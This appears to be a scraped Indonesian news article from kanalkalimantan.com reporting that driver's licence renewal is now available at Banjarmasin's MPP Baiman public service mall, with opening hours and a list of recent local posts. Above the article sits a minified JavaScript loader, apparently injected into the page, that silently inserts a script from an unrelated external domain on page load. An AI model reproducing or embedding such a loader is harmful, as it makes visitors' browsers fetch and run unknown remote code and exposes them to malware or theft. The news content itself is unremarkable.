(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Perpanjangan SIM Kini Bisa Dilakukan di MPP Banjarmasin


KANALKALIMANTAN. COM BANJARMASIN – Sebanyak 17 instansi membuka layanan di Mal Pelayanan Publik (MPP) Baiman yang baru saja diresmikan Wali Kota Banjarmasin Ibnu Sina. Tak terkecuali Kepolisian Resor Kota (Polresta) Banjarmasin.

Sejak diresmikan Kamis (7/12/2023) siang, Satuan Lalu Lintas (Satlantas) Polresta Banjarmasin membuka gerai layanan proses perpanjangan Surat Izin Mengemudi (SIM) di MPP Baiman yang berada di lantai satu eks Mitra Plaza, Jalan Pangeran Antasari, Banjarmasin.

Dengan lokasi yang strategis di MPP Baiman, proses perpanjangan SIM kini lebih mudah diakses oleh warga Banjarmasin.

Baca juga: Dua Penghargaan AMPK 2023 Diraih Dispersip Kalsel

Apalagi bagi masyarakat yang memiliki jadwal harian yang padat, pelayanan di MPP memberikan kemudahan untuk tetap dapat mengurus perpanjangan SIM tanpa kendala waktu.

Kasat Lantas Polresta Banjarmasin, Kompol Taufiq Qurrahman mengatakan, langkah membuka gerai layanan diambil untuk memudahkan masyarakat dalam proses perpanjangan SIM dengan menjadikannya satu tempat dengan mal pelayanan publik.

Selain memberikan keuntungan praktis, gerai layanan SIM juga sebagai komitmen Sat Lantas Polresta Banjarmasin meningkatkan pelayanan publik bagi warga.

Baca juga: Dinas PUPR Kalsel Raih Penghargaan dari IAI karena Dukung Pembangunan Infrastruktur

Kasatlantas menyatakan bahwa dengan fasilitas yang lebih modern dan nyaman di MPP Baiman, diharapkan proses perpanjangan SIM dapat dirasakan warga dengan lebih mudah dan cepat.

“Sat Lantas Polresta Banjarmasin terus berkomitmen memberikan layanan terbaik, MPP sebagai tempat yang ramah dan efisien memenuhi kebutuhan administratif terkait perpanjangan SIM,” tegas Kompol Taufiq Qurrahman.

Baca juga: Kolaborasi Stikes Intan Martapura-PLN Tangani Stunting di Simpang Empat

Warga yang ingin memproses perpanjangan dapat mengunjungi MPP Baiman setiap hari Senin hingga Kamis, dari pukul 08:00 hingga 13:00 Wita. Sedangkan pada hari Jumat, layanan tersedia mulai pukul 08:00 hingga 11:00 Wita.(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

11 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

12 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

12 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

15 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

21 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.